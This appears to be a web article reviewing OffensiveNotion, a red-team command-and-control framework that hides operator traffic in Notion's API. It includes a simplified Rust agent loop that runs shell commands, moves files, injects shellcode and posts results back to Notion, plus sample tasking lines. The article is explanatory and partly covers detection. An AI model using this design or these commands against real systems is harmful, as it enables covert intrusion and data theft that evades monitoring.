Back to Articles

OffensiveNotion: How Rust and Notion's API Create Undetectable Command and Control

[ View on GitHub ]

OffensiveNotion: How Rust and Notion's API Create Undetectable Command and Control

Hook

Your security tools are watching for malicious domains and suspicious protocols, but they're completely blind to commands being executed through the same Notion workspace your team uses for sprint planning.

Context

Traditional Command and Control frameworks face an increasingly difficult challenge: every byte of traffic is scrutinized by EDR solutions, network monitoring tools, and threat intelligence feeds. Domains get burned, IP addresses get blocked, and even encrypted protocols raise suspicion when they don't match expected business patterns. The security industry has gotten remarkably good at detecting the infrastructure of offensive operations.

OffensiveNotion takes a fundamentally different approach by asking a deceptively simple question: what if C2 traffic looked exactly like the SaaS applications that security teams have explicitly whitelisted? By weaponizing Notion's legitimate API, it transforms a productivity tool into a command channel that's indistinguishable from normal business usage. The framework represents the evolution of 'living off the land' from the endpoint level (abusing PowerShell, WMI) to the infrastructure level (abusing trusted SaaS platforms). For red teams operating in environments with strict egress filtering and mature security programs, this architectural shift from custom infrastructure to trusted platforms fundamentally changes the detection equation.

Technical Insight

The genius of OffensiveNotion's architecture lies in its abuse of Notion's block-based content model. Notion pages are composed of blocks—paragraphs, headings, code snippets—that are created and updated through REST API calls. The framework hijacks this legitimate functionality by having agents poll specific Notion pages, parse the content for commands embedded in a special syntax, execute them, and write results back as new blocks. Meanwhile, operators can document their activities in the same page using normal text, which agents simply ignore.

The Rust agent implementation showcases why the language has become popular for offensive tooling. The core polling loop demonstrates the elegant simplicity of the approach:

loop {
    // Poll the Notion page for new blocks
    let blocks = notion_client.get_page_blocks(&page_id).await?;
    
    for block in blocks.iter() {
        // Parse block content for command syntax
        if let Some(command) = parse_command_syntax(&block.content) {
            // Execute command based on type
            let result = match command.cmd_type {
                CommandType::Shell => execute_shell(&command.args),
                CommandType::Upload => upload_file(&command.args),
                CommandType::Download => download_file(&command.args),
                CommandType::Inject => inject_shellcode(&command.args),
                _ => Err("Unknown command"),
            };
            
            // Write results back as new blocks
            notion_client.append_block(
                &page_id,
                &format_output(result)
            ).await?;
        }
    }
    
    // Sleep to avoid API rate limits
    tokio::time::sleep(Duration::from_secs(polling_interval)).await;
}

This polling-based architecture introduces latency—commands aren't instantaneous like with traditional C2 channels—but it provides crucial operational security benefits. There are no persistent connections to maintain, no custom protocols to fingerprint, and no unusual network patterns. Every interaction is an HTTPS request to api.notion.com, identical to millions of legitimate API calls.

The cross-platform compilation capabilities of Rust shine here. The same codebase compiles to native binaries for Windows (with Win32 API calls for process injection), Linux (with POSIX interfaces), and macOS, without the runtime dependencies of Python or the signatures of .NET. The agent binary is relatively small, and Rust's memory safety guarantees reduce the risk of crashes during long-running operations.

The command parsing syntax is deliberately designed to coexist with normal documentation. Commands are embedded in code blocks with a specific prefix that agents recognize:

## Operation Log - Target Workstation

Checking current user privileges...

`#!on whoami`

The target is running Windows 10 with updated AV. Next step is privilege escalation.

`#!on inject-shellcode /path/to/payload.bin explorer.exe`

Agents scan for the #!on prefix in code blocks, execute those commands, and append results. Operators can write normal prose around these commands, creating a self-documenting engagement timeline that lives alongside the C2 channel itself. This is a significant workflow improvement over traditional C2 frameworks where operators maintain separate notes.

The multi-agent architecture leverages Notion's native database features. A single Notion database can serve as a listener registry, with each page representing an agent session. Agents check in by creating a new page with their system information (hostname, OS, IP address, user context), then poll that page for commands. Operators view all active agents in a database view and can sort, filter, and search using Notion's built-in functionality—essentially getting a C2 management interface for free.

Notion's collaboration features become force multipliers for red team operations. Multiple operators can work from the same workspace simultaneously, seeing each other's commands and results in real-time. The mobile app provides legitimate remote access to the C2 infrastructure without VPN connections or special tooling. The revision history feature provides an automatic audit trail of all operator actions, which is valuable for post-engagement reporting.

Gotcha

The fundamental dependency on Notion's API is both the framework's greatest strength and its Achilles' heel. You're completely at the mercy of Notion's service availability, rate limits, and API versioning. If Notion experiences an outage—which happens to all SaaS platforms—your C2 infrastructure goes dark. There's no fallback channel, no backup protocol. During a time-sensitive operation, this could be catastrophic. The API rate limits also impose real constraints: Notion allows approximately 3 requests per second, which means you can't rapidly task multiple agents or exfiltrate large amounts of data without triggering throttling.

The detection surface shifts from network signatures to account behavior analytics. While the network traffic itself is legitimate, the pattern of API usage can be revealing. A newly created Notion account that immediately starts making API calls, creates pages with unusual access patterns, or exhibits non-human timing rhythms could trigger Notion's abuse detection systems. If Notion flags and suspends the account, your entire C2 infrastructure disappears instantly. Additionally, organizations with mature security programs may monitor their approved SaaS applications for anomalous usage—an employee whose Notion account suddenly starts exhibiting API-heavy behavior could raise flags in User and Entity Behavior Analytics (UEBA) systems. The command latency is also non-trivial; the polling-based architecture means delays of several seconds to minutes between command issuance and execution, making this framework unsuitable for dynamic, fast-paced scenarios where you need immediate feedback.

Verdict

Use if: You're conducting long-term red team operations in environments with strict egress filtering and mature network monitoring, particularly in organizations that already use Notion where your traffic will naturally blend in. The built-in documentation features and multi-operator collaboration make it excellent for complex engagements requiring coordination. The mobile control capability is genuinely valuable for maintaining access during travel or from restricted networks. Skip if: You need rapid command execution, high-bandwidth data exfiltration, or real-time interactive shells. Don't use this for time-sensitive operations where command latency could compromise success, or in organizations where creating new Notion accounts would be suspicious. If your target doesn't use Notion as part of their normal business operations, the risk-benefit calculation changes significantly—you're better served by frameworks with multiple protocol options like Sliver or Mythic that can adapt to the environment rather than forcing the environment to accommodate a specific SaaS platform.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/mttaggart-offensivenotion.svg)](https://starlog.is/api/badge-click/cybersecurity/mttaggart-offensivenotion)